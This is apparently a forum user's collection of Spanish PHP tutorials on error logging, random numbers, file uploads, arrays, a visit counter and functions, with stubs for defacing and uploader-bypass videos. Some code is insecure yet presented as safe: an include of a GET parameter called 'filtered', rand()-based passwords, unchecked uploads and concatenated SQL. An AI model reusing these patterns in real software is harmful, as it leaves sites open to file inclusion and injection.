Error: '.$error[0].' a las: '.date('r').' de la IP: '.$_SERVER[REMOTE_ADDR].'\n');
fclose($file);
}

if (is_numeric($id)){
// Todo el codigo
}else{
$file = fopen("error.txt", 'a+'); //Permisos de escritura y lectura con a+
fwrite($file, '
Error: '.$error[1].' a las: '.date('r').' de la IP: '.$_SERVER[REMOTE_ADDR].'\n');
fclose($file)
}
?>


4.- Evitar mostrar errores en pantalla mediante "@" ejemplo:

Código: php

<?php
$file = @fopen('index.php','a+');
@fwrite($file, 'Xt3mP');
@fclose($file);
?>


5.- Entre otros
------------------------------------------------------------
Espero que este manual les haya aclarado muchas dudas, y para los que digan que ya existen otros noten la diferente entre "Como hacerlo/Parcharlo" y "Porque sucede eso".
P.D: En la próxima versión hablaré sobre otras vulnerabilidades, entre ellas asp injection.
P.D.2: Si se me paso algo ó escribe algo mal fue porque lo escribí continuamente sin descansar y a veces se confunde uno.
Saludos.
------------------------------------------------------------
#32
Back-end / Numeros ó Strings aleatorios.
Agosto 13, 2010, 05:02:00 AM
Números ó Strings aleatorios.

Esta vez hablaré acerca de unas funciones que en lo particular es la mejor para mi, ya que te genera aleatoriamente un número dependiendo de la función que utilizes.

Hablaré sobre dos funciones (inclusive alguno solo conocerá la primera):
rand() = Puede recibir dos parámetros, si no se especifíca ninguno, el valor número más alto que puede generar es 32767.
mt_rand() = Puede recibir dos parámetros, si no se especifíca ninguno, el valor número más alto que puede generar es 2147483647.

¿Notan la diferencia? Tienen una diferencia númerica de 2,147,450,880, rand solo alcanza a cifras de 5 números, por otro lado mt_rand alcanza cifras de 10 números.
-----------------------------------------------------
La función rand() tiene una derivada para mostrar el valor númerico mas alto que puede generar llamada getrandmax(), puede recibir dos parámetros, desde que número empieza hasta que número termina:

Código: php

<?php
echo rand(); //Genera un numero aleatorio entre 0 y 32767.
echo getrandmax(); //Genera un numero con valor a 32767.
echo rand(0,15); //Genera un numero entre 0 y 15, estos dos números pueden variar siempre y cuando no sobre pasen los 32767.
/*
Daria:
17812 //El aleatorio de 0 y 32767
32767 //El maximo
13 //Entre 0 y 15
*/
?>

-----------------------------------------------------
Por otro lado, mt_rand() tiene una capacidad de 2147483647, pero esto no quiere decir que actue de diferente forma, recibe los mismos parámetros:

Código: php

<?php
echo mt_rand(); //Genera un numero aleatorio entre 0 y 2147483647.
echo mt_getrandmax(); //Genera un numero con valor a 2147483647.
echo mt_rand(24565,4976854); //Genera un numero entre 24565 y 4976854, estos dos números pueden variar siempre y cuando no sobre pasen los 2147483647.
/*
Daria:
1660000551 //El aleatorio entre 0 y 2147483647
2147483647 //El maximo
289095 //Entre 24565 y 4976854
*/
?>


Cabe mencionar que si a rand() le ponemos por ejemplo: rand(4564,65798712) tambien te lo genera, pero si utilizamos getrandmax() no pasará los 32767.
-----------------------------------------------------
¿Como se puede utilizar el rand? ¿Ó para que es utilizado en la mayor parte de los casos? Harémos uso de un array, pero antes explicaré que se hará para este ejemplo.
Crearémos dos arrays, uno con todas las letras del abecedario y otro con palabras "al azar" (realmente no es al azar, porque las escribiré directamente xd) para que con el uso del rand se generen automáticamente:

Código: php

<?php
$abe = array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'); //26
$pal = array('Xt3mP', '[email protected]', 'Mexico', '17 de edad', 'Banking', 'Robar tarjetas de credito', 'abc123', 'xD');//8
$rand_pal = rand(0,7); //Igual que el de arriba.
// Crearemos un directorio cualquiera con "nombres al azar".
$directorio = rand(0,9).$abe[rand(0,25)].rand(0,9).$abe[rand(0,25)].rand(0,9).$abe[rand(0,25)]; //Generaria 4i9y5f
@mkdir ($directorio);
// Ahora "mostraremos una password con palabras anteriormente definidas"
echo "Hola usuario, tu nueva password es: ".$pal[rand(0,7)]; //[email protected]
?>


Como pueden observar, se utilizo un rand dentro de un array para que dentro de los valores anteriormente definidos del array los tomara al azar. Esto es de mucha utilidad cuando tienes cientos de passwords predefinidas por el usuario ó estás creando algún tipo de concurso por sorteo generar los "boletos" al azar, tambien puedes generar la clave al azar, por ejemplo:

Código: php

<?php
$abe = array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'); //26
$pass = $abe[rand(0,25)].rand().$abe[rand(0,25)].rand().$abe[rand(0,25)].rand();
/*
Daria:
i21636u10402s13552
Ya solo es cuestion de meterle base de datos para hacer un update, etc.
*/
?>

Solo es cuestion de que usen la imaginación con todas y cada una de las funciones que nos brinda PHP.
-----------------------------------------------------
Espero esto los motive a seguir en PHP, saludos.
#33
Back-end / Ficheros en PHP
Agosto 13, 2010, 01:36:34 AM
Archivos.

¿Qué explicaré?
Carga de ficheros (Tanto permisos, nombre, tipo, tamaño, etc) y funciones acerca de archivos (copiar, mover, eliminar, crear, etc).

Quisiera comenzar explicando la diferencia entre $_FILES y $HTTP_POST_FILES.
Las dos son variables que contienen la misma información cuando se hace una carga a el script (en este caso, subir un archivo), pero la diferencia es que $HTTP_POST_FILES no es una variable "superglobal", con esto quiero decir que tál vez contenga la misma información del fichero pero no se puede acceder en todo el script a ella sin hacer global $fichero, por otro lado, $_FILES si es una "superglobal" que está disponible ó se puede acceder a ella durante y/ó en cualquier parte del script, y según leí (esto no lo tenía en cuenta) $_FILES esta disponible desde la versión 4.1.0 por lo que $HTTP_POST_FILES quedo completamente "nulled" en esas versiones.

Tomando de siempre de ejemplo en este caso el siguiente uploader:

Código: html5

<form action="subir.php" method="post" enctype="multipart/form-data">
<b>Archivo: </b>
<br>
<input name="fichero" type="file">
<br>
<input type="submit" value="Enviar">
</form>


Comenzemos, las variables príncipales de $_FILES son las siguientes (noten que fichero es el nombre del input type por lo que en $_FILES el primer "valor del array" es el nombre del input, y como mencioné anteriormente, en este caso es fichero:
$_FILES['fichero']['tmp_name'] = Muestra el nombre "temporal" del archivo, puede ser parecido a phpC2.tmp, siempre varian.
$_FILES["fichero"]["name"] = Muestra el nombre original del archivo, en este caso muestra tutorial.txt.
$_FILES["fichero"]["type"] = Muestra el tipo del archivo, en este caso es text/plain pero hay image/jpeg, stream, etc, todo depende si es ejecutable, imagen, texto plano, script, entre otros.
$_FILES["fichero"]["size"] = Muestra el tamaño de archivo en bytes, pueden hacer una operación divisoria de / 1024 para ir convirtiendolo a kb, mb, gb, etc.
Código: php

<?php
echo $_FILES['fichero']['tmp_name']."<br />"; //Es el archivo temporal para subir al servidor
echo $_FILES["fichero"]["name"]."<br />"; //Es el nombre del archivo a subir al servidor
echo $_FILES["fichero"]["type"]."<br />"; //Es el tipo (mime) del archivo a subir al servidor
echo $_FILES["fichero"]["size"]."<br />"; //Es el tamano (en bytes) del archivo a subir al servidor
/*
Nota: Puedes hacer $_FILES["fichero"]["size"] / 1024 para ir en escala de bytes, kb, mb, etc.
Daria como resultado:
C:\WINDOWS\Temp\phpC2.tmp => Temporal
tutorial.txt => Nombre
text/plain => Tipo (mime)
0 => Peso
*/
?>


Como pudieron observar, esas son los valores del array $_FILES que se utilizan para hacer un uploader, solo tiene que coincidir el nombre del input con el del script (en este caso; fichero).

Para hacer la "copia" ó mejor dicho "mover" el archivo al lugar definitivo en donde se almacenará el fichero, se utiliza la función move_uploaded_file(); creo que el nombre lo dice todo.
move_uploaded_file() recibe dos parámetros, el primero es el nombre temporal del archivo a subir, y el segundo es en donde se almacenará, pueden notar que tengo una variable llamada $path que es donde indico a que carpeta subiré los archivos.

Ejemplo:

Código: php

<?php
$path = "files/";
$temporal = $_FILES['fichero']['tmp_name'];
$archivo = basename($_FILES["fichero"]["name"]);
if( (move_uploaded_file($temporal,$path.$archivo))){
echo "Archivo subido correctamente.";
}else{
echo "Hubo un error en la carga del archivo.";
}
?>


Aqui pueden utilizar simplemente $_FILES["fichero"]["name"] sin necesidad del basename ya que la funcion basename() solo vota el nombre de fichero.
-----------------------------------------------------------
Copiar un archivo
-----------------------------------------------------------
Para copiar un archivo se utiliza la función copy() que recibe dos parámetros, el fichero original y la ruta a donde se copiará, ejemplo (Tomando de ejemplo el archivo tutorial.txt que anteriormente subimos):
Código: php

<?php
$path = "files/";
$archivo = basename($_FILES["fichero"]["name"]);
copy($path.$archivo, $path."tutorial_copia.txt");
/*
Daria:
files/tutorial_copia.txt
*/
?>


Recuerden que para copiar un archivo se necesita "determinar" el directorio en donde se encuentra el archivo, inclusive se puede copiar de un directorio a otro.
-----------------------------------------------------------
Comprobar si un fichero/directorio existe
-----------------------------------------------------------
Esto les servirá muchos a aquellos que tengan su modulación digamos "index.php?page=home.php", que prácticamente se incluye la página que se obtiene por get y si no la filtran son vulnerables a RFI/LFI, si no tiene modulación igual funciona, existe una función llamada file_exists() que comprueba la existencia de un fichero, tiene un parámetros que por lógica deben suponer que se trata del archivo, en este caso comprobarémos la existencia del archivo "tutorial_copia.txt".
Código: php

<?php
if (file_exists("./files/tutorial_copia.txt")){
echo "Si existe";
}else{
echo "No existe";
}
/*
Devolveria:
Si existe, pero si cambiamos tutorial_copia por loquesea.txt tiraria no existe porque en este caso no tenemos ese fichero en el servidor.
*/
?>


Un ejemplo de la modulación con GET filtrando el archivo (ya que lo mencioné) sería:
Código: php

<?php
$pagina = strip_tags(stripslashes($_GET['page']));
if (file_exists($pagina)){
include ($pagina);
}else{
echo "No intentes bugear, la pagina no existe, se envio un correo al administrador con tu IP";
}
?>

-----------------------------------------------------------
Crear un directorio
-----------------------------------------------------------
Para crear un directorio existe la función mkdir() en donde mk significa make/crear y dir es directory/directorio, para utilizar esta función se necesitan dos parámetros, el nombre del directorio y los permisos que tendrá el directorio.
Código: php

<?php
mkdir("/dir", "0777");
/*
Daria:
path_base/dir/ con permisos de escritura, lectura y ejecucion (0777).
*/
?>


Aquí se puede utilizar la función "file_exists()" para comprobar si existe el directorio, ejemplo:
Código: php

<?php
if (file_exists("./files")){
echo "Si existe";
}else{
mkdir("/files", "0777");
}
/*
Daria:
Si existe el directorio te da un aviso de que existe, si no existe lo crea con permisos de 0777.
*/
?>

-----------------------------------------------------------
Revisar un directorio y contar archivos
-----------------------------------------------------------
Para ello utilizarémos 2 funciones, scandir() y count() , scandir() ocupa un parámetro (el directorio a escanear) y count ocupa igualmente un parámetro, lo que contará:
Código: php

<?php
$directorio = "files/";
$contador = scandir($directorio);
$total = count($contador);
/*
Si hacemos un var_dump() para mostrar todas los valores nos mostraría todos los archivos que existen en el directorio, en este
caso solo existe 1 (tutorial.txt);
*/
?>

Esto puede ser algo fácil al momento de querer saber que archivos estan en una carpeta determinada, pero casi no se utiliza.
-----------------------------------------------------------
Eliminar un archivo/directorio
-----------------------------------------------------------
Para eliminar un archivo se utiliza la función unlink(), y por otro lado, para eliminar un directorio se utiliza la función rmdir(), las dos funciones tienen un solo parámetros que es la dirección del archivo/directorio.
rmdir() solo permite borrar si el directorio esta vacío:

Código: php

<?php
$archivo = "tutorial.txt";
$directorio = "files/";
rmdir($directorio); //En este caso no se eliminaría porque existe tutorial.txt
unlink($directorio.$archivo); //Eliminamos files/tutorial.txt
?>

Entonces, ¿Qué hacer si la carpeta no está vacía pero queremos eliminarla? Fácil, utilizamos la función scandir() y count() y la implementamos con un bucle for:
For: Es un bucle en donde a diferencia de foreach, indicamos el número de "ciclos" que se repetirá:

Código: php

<?php
$directorio = "files/";
$files = scandir($directorio); //Escaneamos el directorio
$num = count($files ); //Contamos el numero de archivos
for ($i=0; $i<=$num; $i++) {
@unlink ($directorio.$files [$i]); //Ponemos un @ al inicio para evitar mostrar error en pantalla.
}
@rmdir ($directorio); //Ponemos un @ al inicio para evitar mostrar error en pantalla.
?>

Que hacemos con el for:
Indicamos que mientras $i sea menor que el número de archivos, $i irá aumentando de uno en uno, prácticamente si el número de archivos es 1, sería $i=0; $i<=1; $i++, para eso es el bucle for, para indicarle cuantas veces se repetirá el ciclo. Entonces como no sabemos el número de archivos, los contamos con count() y se creará un array con el número total de archivos, así que al poner $files[$i] y anteriormente indicando en el bucle for que $i irá aumentando de uno en uno cada vez hasta que llegue al número de archivos, se eliminará de uno por uno los archivos. Despúes se elimina el directorio vacío.
-----------------------------------------------------------
Renombrar un archivo/directorio
-----------------------------------------------------------
Para renombrar un archivo/directorio utilizamos la función rename() en donde solo necesitamos dos parámetro; el nombre original y el nombre a cambiar.
Código: php

<?php
$file = "files/tutorial.txt";
rename ($file , "files/tutoriales_2.txt");
?>

-----------------------------------------------------------
Comprobar permisos de archivo
-----------------------------------------------------------
Para comprobar los permisos de archivo (saber si es ejecutable, etc) utilizarémos tres funciones:
is_writable($archivo); = Comprueba si se puede escribir.
is_readable($archivo); = Comprueba si se puede leer.
is_executable($archivo); = Comprueba si se puede ejecutar.
-----------------------------------------------------------
Archivos de texto
-----------------------------------------------------------
Cabe mencionar que no solo se puede para archivos de texto, si no para html, php, etc, solo explicaré una función y las demás en comentarios porque creo que podrán entender perfectamente sin necesidad de que explique de una por una.
Comenzaré explicando los permisos de archivos.
Citar
'r' Solo lectura, ubicará el puntero al inicio de todo el archivo.
'r+'  Solo lectura y escritura, ubicará el puntero al inicio de todo el archivo.
'w' Solo escritura, si el archivo no existe intentará crearlo.
'w+' Solo escritura y lectura, si el archivo no existe intentará crearlo
'a' Solo escritura, ubicará el puntero al final de todo el archivo y si no existe intentará crearlo.
'a+' Solo escritura y lectura, ubicará el puntero al final de todo el archivo y si no existe intentará crearlo.
'x' Solo escritura, si el archivo ya existe devolverá un FALSE, si no existe intentará crearlo.
'x+' Solo escritura y lectura, si el archivo ya existe devolverá un FALSE, si no existe intentará crearlo.

Ahora, para abrir un archivo se utiliza la función fopen() el cual recibe dos parámetros, el archivo a abrir y los permisos que le darémos, despues viene fwrite() quien igualmente recibe dos parámetros, el fopen y lo que se intentará escribir en el archivo, y finalmente viene fclose() que solo recibe un parámetro a diferencia de los otros dos, solo recibe el fwrite quien ya trae el fopen.
Código: php

<?php
$file = fopen("tutorial.txt", 'a+');
fwrite($file, "Este es un tutorial de PHP hecho por Xt3mP"); //Se puede utilizar fputs() hacen practicamente lo mismo.
fclose($file)
/*
Daria:
tutorial.txt
Este es un tutorial de PHP hecho por Xt3mP
*/
?>


Se pueden hacer saltos de línea pero podrás identificarlas con \n.
-----------------------------------------------------------
Bueno, esto ha sido todo por este tutorial, estoy un poco cansado y necesito fumar, cualquier error que haya tenido ó parecido favor de avisarme para acomodarlo.
Saludos.
#34
Back-end / Arrays en PHP
Agosto 12, 2010, 10:41:20 PM
Arrays ó Matrices.

Un array prácticamente es una variable guarda un conjunto de valores que comúnmente son almacenados por un "índice ó clave", a diferencia de las variables comúnes que solo pueden almacenar un solo valor tanto string, númerico (entre otros), el array (como mencioné anteriormente), permite almacenar no solo un valor, si no demasiados (conforme sea la necesidad de cada programador).

Existen 3 tipos de array (comúnmente), los cuales son:
--------------------------------------------------------------------------------------
Array númerico/escalar.
Se identifíca príncipalmente porque tiene un índice númerico (Normalmente el índice númerico empieza por 0):
Código: php

<?php
$array = array('Xt3mP', 'Admin', 'agosto');
echo $array[0]; //Xt3mP
echo $array[1]; //Admin
echo $array[2]; //agosto
?>


Inclusive, el índice númerico que por default empieza por 0, se puede cambiar por otro valor indicando en el primer valor del array que número queremos usar:
Código: php

<?php
$array = array(6 => 'Xt3mP', 'Admin', 'agosto'); //En donde 6 es el indice primario.
echo $array[6]; //Xt3mP
echo $array[7]; //Admin
echo $array[8]; //agosto
?>

--------------------------------------------------------------------------------------
Array asociativo/de strings.
Se identifíca príncipalmente porque tiene un índice nombrado por strings:
Código: php

<?php

echo $array['nombre']; //Xt3mP
echo $array['rango']; //Admin
echo $array['fecha']; //agosto
?>

--------------------------------------------------------------------------------------
Array multidimensional.
Se identifíca príncipalmente porque tienen varios índices en un mismo array, es decir, varios array en uno solo:

Código: php

<?php
$tutoriales = array
(
'php' =>array(
'autor' => 'Xt3mP',
'titulo' => 'Arrays'
),
'sql' =>array(
'autor' => 'Xt3mP',
'titulo' => 'Base de datos',
)
);
echo $tutoriales['php']['autor']; //Xt3mP
echo $tutoriales['php']['titulo']; //Arrays
?>

--------------------------------------------------------------------------------------
Ordenando arrays
--------------------------------------------------------------------------------------
Existen varias funciones para ordenar arrays, tanto de menor a mayor (alfabéticamente como númericamente), para ello existen sort(), rsort(), ksort() y asort().
Para no hacer el tutorial tan aburrido, lo explicaré con sort y en comentarios pondré como quedaría con cada una de las funciones, creo que no tendran problema con eso.

Nota: Utilizaré un bucle (foreach) que explicaré muy brevemente ya que el tutorial se enfoca en arrays, no en bucles.
Foreach: Es un bucle que nos permite recorrer cada uno de los valores de un array, digamos desde $array[0] á $array[Y] (en donde "Y" es el último vlaor del array [$array[0] á $array[3]).

Código: php

<?php
$array = array('xt3mP', 'admin', 'agosto');
sort($array);
foreach ($array as $indice => $valor) {
    echo "array[".$indice."] = ".$valor."<br>";
}
/*
Con sort ordena de menor a mayor dependiendo del valor alfabeticamente.
array[0] = admin
array[1] = agosto
array[2] = xt3mP

Con rsort ordena de maroy a menor dependiendo del valor alfabeticamente.
array[0] = xt3mP
array[1] = agosto
array[2] = admin

Con ksort ordena de menor a mayor dependiendo del indice numerico.
array[0] = xt3mP
array[1] = admin
array[2] = agosto

Con asort ordena de menor a mayor dependiendo de la relacion entre el indice y el valor, la expresion del array seria:
$array = array('a' => 'xt3mP', 'b' => 'admin', 'c' => 'agosto');
En donde estamos dandole una escala alfabeticamente (a , b , c) a los arrays pero lo que hace esta funcion es asi el indice alfabeticamente sea por orden (a,b,c)
lo que ordenara seran los valores, en este caso resultaria:
array[b] = admin
array[c] = agosto
array[a] = xt3mP
Pueden observar que la escala quedo b,c,a.
*/
?>

--------------------------------------------------------------------------------------
Contar valores de un array
--------------------------------------------------------------------------------------
Para contar los valores de un array, existe una funcion llamada count();, que como su nombre derivado del ingles significa, cuenta los valores del array:
Código: php

<?php
<?php
$array = array('xt3mP', 'admin', 'agosto');
echo count ($array);
?>
/*
Sacaria "3", ya que solo existen 3 valores.
*/

--------------------------------------------------------------------------------------
Mover el array de lugar (puntero)
--------------------------------------------------------------------------------------
Como deben de saber, en PHP se puede mover el "puntero" en donde se encuentra el array, tanto como para el inicio [reset()], final [end()], siguiente [next()] ó anterior [prev()], explicaré solo uno ya que no creo que al implementar los otros 3 les cueste trabajo:
Código: php

<?php
$array = array('Xt3mP', 'admin', 'agosto');
echo current($array); // Xt3mP
next($array);// Nos saltamos Xt3mP
next($array);// y admin
echo current($array); //agosto
reset($array); //Empezamos desde el primero de nuevo
echo current($array); //Xt3mP
/*
Daria:
Xt3mP
agosto
Xt3mP
*/
?>


Como pudieron observar, mostramos primero en donde estaba el puntero, despues nos saltamos dos valores y mostramos nuevamente, al final nos movimos al inicio y volvimos a mostrar valor. En esta parte tambien cabe mencionar otra funcion nombrada var_dump() que tiene como funcion (valgame la redundancia), mostrar los valores de un array, utilizando de ejemplo los mismos valores que hemos seguido a lo largo de este tutorial el codigo seria:var_dump() = Muestra valores de array.

Código: php

<?php
$array = array('xt3mP', 'admin', 'agosto');
echo var_dump($array);
/*
array(3)
{
[0]=>  string(5) "xt3mP"
[1]=>  string(5) "admin"
[2]=>  string(6) "agosto"
}
En donde 3 es el numero de valores.
[X]0 es el indice.
string(X) es el numero de letras que tiene cada string
*/
?>

--------------------------------------------------------------------------------------
Saber si es un array
--------------------------------------------------------------------------------------
Hemos hablado de como movernos por arrays, como identificarlos pero no como saber si realmente es un array, fácil, existe una funcion que su nombre lo dice todo (is_array) que nos permite saber si es un array, ejemplo:
Código: php

<?php
$array = array('xt3mP', 'admin', 'agosto');
$arraymal = "test";
if (is_array($array)){ echo "Array es un array";} //Es un array
if (is_array($arraymal)){ }else{ echo "Array mal no es un array."; } //No es un array
?>
/*
Mostraria:
Array es un array
Array mal no es un array.
*/

--------------------------------------------------------------------------------------
Modificar array
--------------------------------------------------------------------------------------
Así como hay funciones para movernos en un array, tambien hay funciones para editar un array, para reducir un array [array_slice()], para eliminar un array [unset()], para aumentar un array [array_push()], para unir arrays [array_merge()].

array_slice() ocupa por defecto dos parámetros, aunque se pueden utilizar tres si lo que necesitas es mostrar digamos de "X" a "Y", pero si utilizas dos automáticamente se mostraria desde "X" hasta el final.
Código: php

<?php
$array = array('xt3mP', 'admin', 'agosto', 'programador', '[email protected]');
$sacar = array_slice($array, 2);      // desde agosto(2) hacia adelante
$sacar2 = array_slice($array, 1, 3);  // desde admin(1) hacia programador(3)
print_r($sacar);
echo "<br />";
print_r($sacar2);
/*
Daria:
Array ( [0] => agosto [1] => programador [2] => [email protected] ) <= $sacar
Array ( [0] => admin [1] => agosto [2] => programador )  <= $sacar2
*/
?>


unser() sirve para eliminar un indice tanto asociativo como numerico de la siguiente manera:
Código: php

<?php
$array = array('xt3mP', 'admin', 'agosto', 'programador', '[email protected]');
unset($array[4]); //Quitamos [email protected]
print_r($array);
/*
Daria:
Array ( [0] => xt3mP [1] => admin [2] => agosto [3] => programador )
*/
?>


array_push() sirve para agregar un nuevo valor al array de la siguiente manera:
Código: php

<?php
$array = array('xt3mP', 'admin', 'agosto', 'programador', '[email protected]');
array_push($array, "mexico");
print_r($array);
/*
Daria:
Array ( [0] => xt3mP [1] => admin [2] => agosto [3] => programador [4] => [email protected] [5] => mexico [6] => hombre )
*/
?>


array_merge() sirve para unir arrays, por ejemplo, supongamos que tenemos dos arrays y queremos mostrarlos a la vez:

Código: php

<?php
$array = array('xt3mP', 'admin', 'agosto');
$array2 = array('[email protected]', 'mexico', 'hombre');
$array_final = array_merge($array,$array2);
print_r($array_final);
/*
Daria:
Array ( [0] => xt3mP [1] => admin [2] => agosto [3] => [email protected] [4] => mexico [5] => hombre )
*/
?>


array_shift() sirve para quitar el primer elemento de un array y arrat_pop() quita el ultimo elemento:

Código: php

<?php
$array = array('xt3mP', 'admin', 'agosto');
$array2 = array('xt3mP', 'admin', 'agosto');
array_shift($array);
array_pop($array2);
print_r($array);
print_r($array2);
/*
Daria:
Array ( [0] => admin [1] => agosto )
Array ( [0] => xt3mP [1] => admin )
*/
?>


Y bueno, este tutorial ha sido completado, esta un poco extenso pero espero que le hayan entendido, cualquier duda y/ó sugerencia haganmela saber, saludos.

P.D: Si se me paso algo ó escribi algo mal perdonen, pero es un texto demasiado extenso que duré cerca de 2 hora escribiendolo para ustedes.
#35
Back-end / Contador de visitas [Unicas y Generales]
Julio 23, 2010, 03:42:39 AM
Estaba aburrido y decidí "programar" algo muy básico, se trata de un contandor de visitas que hace:

· Muestra IP más la cantidad de veces que ha accedido esa IP.
· Muestra todas las visitas que ha tenido la página (No importa si es la misma IP, la cuenta como visita).
· Muestra las visitas únicas que ha tenido la página (En número).

El script es sumamente básico, no creo que se les dificulte entenderlo.

Código: php

<?php
#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#
#             Visits Counter v1.0 By Xt3mP (Public source)           #
#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#
# Este script cuenta tanto visitas únicas como en total. #
#   Para visualizar las estadísticas ir a ?mod=view.                 #
#    #
#               Autor: Xt3mP Contacto: [email protected]               #
#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#
$connect      = mysql_connect("SERVER", "USER", "PASS") or die('No se pudo conectar: ' . mysql_error());
mysql_select_db("DATABASE") or die("No se pudo seleccionar la base $base_de_datos: " . mysql_error());
$ip   = $_SERVER[REMOTE_ADDR];
$count        = 1;
$query        = mysql_query("SELECT ip FROM unicas WHERE ip='" . $ip . "' ");
if ($checking_ip =  mysql_fetch_array($query)){
$query_update =     mysql_query("SELECT * FROM unicas WHERE ip='" . $ip . "' ");
while ($row      =  mysql_fetch_array($query_update)){
$times   = $row['times'] + 1;
mysql_query("UPDATE unicas SET times='" . $times . "' WHERE id='" . $row['id'] . "' ");
}
//echo "Actualizado!";
}else{
//echo "IP no existe";
mysql_query("INSERT INTO unicas (ip,times) values ('" . $ip . "','" . $count . "') ");
}

$all      = mysql_query("SELECT * FROM todas");

    if ($als         = mysql_fetch_array($all)){

$times_all   = $als['times'] + 1;
mysql_query("UPDATE todas SET times='" . $times_all . "' WHERE id=1");
}else{
mysql_query("INSERT INTO todas (times) values ('" . $count . "') ") or die(mysql_error());
}

#Modulos
$visits  = "<div align='center'>Click <a href='?mod=view'>aqui</a> para ver stats.</div>";
if ($_GET['mod']){
$mod         =  $_GET['mod'];
switch($mod){
   case "view":
$uni     = mysql_query("SELECT * FROM unicas");
$uni_ip  = mysql_num_rows($uni);
$tod     =     mysql_fetch_array(mysql_query("SELECT * FROM todas"));
$visits  = '<div align="center">';
$visits .=     '<table align="center" width="100">';
$visits .= '<tr><td align="center">IP</td><td align="center">Hits</td></tr>';

while ($unicas   =  mysql_fetch_array($uni)){
$visits .= '<tr><td align="center">' . $unicas["ip"] . '</td><td align="center">' . $unicas["times"] . '</td></tr>';
}
$visits .= '</table></div>';
$visits .= '<br><br>';
$visits .= "<div align='center'>Total de visitas: " . $tod['times'] . "</div>";
$visits .= "<div align='center'>Total de visitas unicas: " . $uni_ip . "</div>";
break;

    default:
    $visits  = "<div align='center'>No existe este modulo de visitas.</div>";

}
}
echo $visits;
mysql_close();

?>


Demo: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos.

P.D: No le metí diseño, pero si tienen alguna duda de como hacerlo haganmelo saber.

Tablas:
Código: php

create table unicas (
id int(11) NOT NULL auto_increment,
ip varchar(15) NOT NULL,
times int NOT NULL,
PRIMARY KEY  (id)
)

create table todas (
id int(11) NOT NULL auto_increment,
times int NOT NULL,
PRIMARY KEY (id)
)
#36
El nombre lo dice todo, el video tambien lo explica todo, simple y preciso:


Suerte.
#37
El título lo dice todo brothers:


¿Dudas? Haganmelas saber.
#38
Estos videos que estaré posteando son viejos pero como nadie postea en el área de Defacing pues lo haré yo, en este video no pretendo enseñar nada, solo me divertía un poco con una página web.


Espero les guste, fue SQL Injection + Unas mierdas más.
#39
Bueno, en vista de que Skillmax posteó un tutorial de bypassing an uploader, recorde que tenía uno colgado en mi canal, la vía es para renombrar imágen y tambien utilizé el HTTP Live Headers, suerte:


Saludos.

P.D. El video es algo viejo pero aún tiene el mismo método que el que utilizó Skillmax, solo que yo no recordaba que lo tenía en YouTube si no lo hubiera posteado antes, suerte.
#40
Back-end / [Tutorial] Funciones
Julio 15, 2010, 05:57:46 PM
Esta vez les hablaré de las funciones en PHP, antes que nada tratare unos puntos.

¿Qué es una función en PHP?
Una de las herramientas importantes no solo de PHP si no de cualquier lenguaje de programación son las famosas "Funciones". Una

función no es nada mas ni nada menos que un conjunto de "mandos" que pueden llevarse a cabo con variables internas (Declaradas

en la misma función) ó por otro lado recibiendo variables externas (Cuando una función es global).

Definición de google:
Las funciones integradas en PHP son muy fáciles de utilizar. Tan sólo hemos de realizar la llamada de la forma apropiada y

especificar los parámetros y/o variables necesarios para que la función realice su tarea.

¿Para qué sirve una función en PHP?
La funcionalidad de una función (No solo en PHP) es para hacer mas práctico, resumido y sencillo a la hora de programar haciendo

que la programación pueda ser mas "eficaz" en los resultados, tambien, una función príncipalmente es creada cuando se sabe que

"la utilizarán muchas veces durante los scripts", así, evitando hacerla directamente cada vez que se utilize, por ejemplo.

Si queremos hacer que muestre el número de filas de unas tablas directamente sería (Suponiendo que son 3 tablas):

Código: php

<?php
include ("conneccion_a_la_base_de_datos.php") //En donde este archivo conecta a la base de datos
$table = "Tabla_users";
$query = "SELECT * from ".$table." ";
$result = mysql_query($query);
$table_counter = mysql_num_rows($result);
echo $table_counter;
?>


El código de arriba se utilizaría ó mejor dicho se escribiría "TRES VECES" para las 3 tablas, pero con funciones solo se programaría

una y se utilizaría para las tres resumiendose a " counter('tabla'); " (Así para las 3 y evitamos menos código y el código final sería

más rápido).

Parámetros de una función.

Príncipalmente una función se identifíca por la siguiente estructuración:

Código: php

<?php
function nombre($parametro){
//Instrucciones de la funcion o comandos a realizar
}
?>


Tomando de ejemplo el contador de tablas sería:

Código: php

<?php
function counter($table){
$query = "SELECT * from ".$table." ";
$result = mysql_query($query);
$table = mysql_num_rows($result);
return $table; 
}
?>


En donde "counter" es el nombre de la función y $table es el parámetro a utilizar, dentro de la función hacemos un query para

seleccionar todo de la tabla "que al llamar a la función se pone" y despúes de esto contamos el número de rows/filas que nos vota,

al final ese número de rows/filas se lo ponemos a la variable $table, ya despúes de todo esto ponemos un "return $table" que es

para mostrar el valor de la variable $table aunque tambien se puede poner con "echo $table".

Entonces para llamar la función hacemos:

Código: php

<?php
// echo nombre_funcion($parametros);
echo counter("tabla_1");
echo counter("tabla_2");
echo counter("tabla_3");
?>


Ahorita digamos "counter("tabla_1"); -> Lo que la función hiciera es:

Código: php

<?php
function counter("tabla_1"){
$query = "SELECT * from tabla_1 ";
$result = mysql_query($query);
$table = mysql_num_rows($result);
return $table; 
}
?>


Lo que nosotros pongamos en los paréntesis de la función (Ej: counter("tabla_2") ) se le llama parámetro y es el que utilizamos en la función, un ejemplo más para saludar con nombre y apellido:

Código: php

<?php
function nombreapellido($parametro1,$parametro2){
echo "Hola: ".$parametro1." ".$parametro2; //Hola: Parametro1 Parametro 2 -> Hola: Daniel Reynoso
}
?>


Código: php

<?php
echo nombreapellido("Daniel","Reynoso");// Daria como resultado Hola: Daniel Reynoso
echo nombreapellido("Jose","Perez");// Daria como resultado Hola: Jose Perez
echo nombreapellido("Rafael","Hernandez");// Daria como resultado Hola: Rafael Hernandez
?>

Así sucesivamente, en resúmen una función es nada mas y nada menos un conjunto de comandos que te facilitarán las tareas en la programación, tareas que son repetitivas, con esto quiero decir que las vayas a utilizar muchas veces y así evites poner el código directamente.

